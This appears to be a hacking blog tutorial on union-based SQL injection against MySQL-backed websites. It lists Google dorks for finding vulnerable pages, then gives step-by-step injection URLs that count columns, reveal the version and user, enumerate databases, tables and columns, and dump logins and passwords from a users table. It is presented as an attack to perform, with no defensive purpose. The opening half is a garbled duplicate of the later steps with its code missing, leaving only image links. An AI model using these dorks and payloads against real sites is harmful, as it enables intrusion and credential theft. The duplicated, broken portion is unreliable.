This meens its absolutly sure that the site is vulnerable to sql injection.
Now we wanna know the MySQL version. If its over 5 then its injectable by this Tut. (if its under 4 then you have to guess tables and columns).
![[Image: sqlitut3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tTgWRf2MEIKP4osYY6cM4tQQGe8QqvlvQNy8wtL5WqY4XVi359dfd43Ms9peXwYlJ8FeYgdSrQVgM5N6HZrOXR2E41c9OolxQwj15kk_VEuvn2YTA5zkM=s0-d)
To get the Current user you type this:
This should display:
![[Image: sqlitut4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sir7olxaSJUjkTQObFeB5-1L8OlTBDTm-pYLoPULC7yNw2jd7hnCiRNw-oc7RuoXH5-dKz84P_ApdcSsY5gWDT99h98x9BydBOc7Rb_OhpHfGDHmya_g=s0-d)
Now we wanna find the databases and the Current database.
Here the syntax for all databases:
It should displays something like this:
![[Image: sqlitut5.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vwZ-k6vI6NXKeHwvG3OqKzoq1uhmdxIv0S1-AoieyqDfU_GqvqsWa8bPVoQ4eF5hCRP5fMebFwH9cZPIMlsLnSpbiwPAGmF_6GVnJTZUKPHiu2gk6Bs3k=s0-d)
Now wel would like to now what is the current database, it's pretty obvious in this case but usefull sometimes.
Syntax for current database:
This should display something like this:
![[Image: sqlitut6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vdhADi9fVq9vqK46h_J_00q7EtwTAOAvMMqWe5PE3RTHHMC42h7Go06swCuHmDK110E6jlQ7g0wfAHdGwByPMoGGiU9IW11wRPdksdEl7cxFOjX63lj8o=s0-d)
Now we want to know the tables on in the database and for this we will conintue using "union select".
Here is the code:
This should display something like this:
![[Image: sqlitut7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ujYm2_m289yL9W3yXLPElHmXrcQaQcKWdeaVfs9djP3_nhGuzMK28DvSZ3vMN5VdKAOmCKKFTd_MEo8pOY-FSSZbtKLfYqQmiPo9D9Co23rSwfhaMgaw=s0-d)
We now know that the table that passwords should be stored in are called bpusers, write it down and move on.
Now we want to know the columns.
Here is the code:
This should display something like this:
![[Image: sqlitut8.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u7G7z4fd9RapIMuhRYusVZEi9GSxWZrjzsFwJPRinGQAIFCGLKJZaUMMC4Sn-CzhEc76eKAcjCO38HYPGQsjbKO_sTUVvg9HazJv44j3Dh93LRQPIg=s0-d)
Now you would like to dump logins and passwords from bpusers.
Here is the code for thath:
This would display something like this:
![[Image: sqlitut9.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t5eB0HmiRThApMSZjJH2XPg6jPUz1oLSfuMCZ0olAQE_E3_AABEPvB0O6UvvdzScgngkjg7IXC8s5NIxSg7lEZmrpCIYb9d2eEAGBf-i06sYN4LvVaKRc=s0-d)
(NOTE: 0x3a will make a : between logins and passwords.)
You have now performed a SQL injection attack.
- Finding vulnerable sites
- Finding amount of columns
- Getting mysql version current user
- Getting Databases
- Getting Tables
- Getting Columns
- Getting Usernames and Passwords
1. Finding vulnerable sites
To find Vulnerable sites you are going to use Google Dorks.
Some common dorks are:
Code:
inurl:index.php?id=
inurl:news.php?id=
inurl:category.php?id=
inurl:games.php?id=
inurl:forum.php?tid=
inurl:newsletter.php?id=
inurl:content.php?id=lets say you got this site:
Code:
http://site.com/news/view.php?id=8282. Finding amount of columns
To find the right amound of columns we are using "order by". here is how it works:
Code:
http://site.com/news/view.php?id=828 order by 1-- (page loads normal)
http://site.com/news/view.php?id=828 order by 2-- (page loads normal)
http://site.com/news/view.php?id=828 order by 3-- (page loads normal)
http://site.com/news/view.php?id=828 order by 4-- (page loads normal)
http://site.com/news/view.php?id=828 order by 5-- (page loads normal)
http://site.com/news/view.php?id=828 order by 6-- (page loads normal)
http://site.com/news/view.php?id=828 order by 7-- (page loads normal)
http://site.com/news/view.php?id=828 order by 8-- (page loads normal)
http://site.com/news/view.php?id=828 order by 9-- (error)This means or site has 8 columns and we will now move over to "union select".
This is how it works:
Code:
http://site.com/news/view.php?id=-828 union select 1,2,3,4,5,6,7,8--Note the hyphen - before the numbers!
This should make the website to show some numbers on the screen like this:
This meens its absolutly sure that the site is vulnerable to sql injection.
3. Getting MySQL version and Current User
Now we wanna know the MySQL version. If its over 5 then its injectable by this Tut. (if its under 4 then you have to guess tables and columns).
Code:
http://site.com/news/view.php?id=-828 union select 1,2,@@version,4,5,6,7,8--To get the Current user you type this:
Code:
http://site.com/news/view.php?id=-828 union select 1,2,user(),4,5,6,7,8--This should display:
4. Getting Databases
Now we wanna find the databases and the Current database.
Here the syntax for all databases:
Code:
http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(schema_name),4,5,6,7,8 from+information_schema.schemata--It should displays something like this:
Now wel would like to now what is the current database, it's pretty obvious in this case but usefull sometimes.
Syntax for current database:
Code:
http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,database(),4,5,6,7,8This should display something like this:
5. Getting Tables
Now we want to know the tables on in the database and for this we will conintue using "union select".
Here is the code:
Code:
http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--This should display something like this:
We now know that the table that passwords should be stored in are called bpusers, write it down and move on.
6. Getting Columns
Now we want to know the columns.
Here is the code:
Code:
http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_schema=database()--This should display something like this:
7. Dumping users/pass
Now you would like to dump logins and passwords from bpusers.
Here is the code for thath:
Code:
http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(login,0x3a,password,0x3a),4,5,6,7,8 from bpusers--This would display something like this:
(NOTE: 0x3a will make a : between logins and passwords.)
You have now performed a SQL injection attack.
Subscribe to:
Posts (Atom)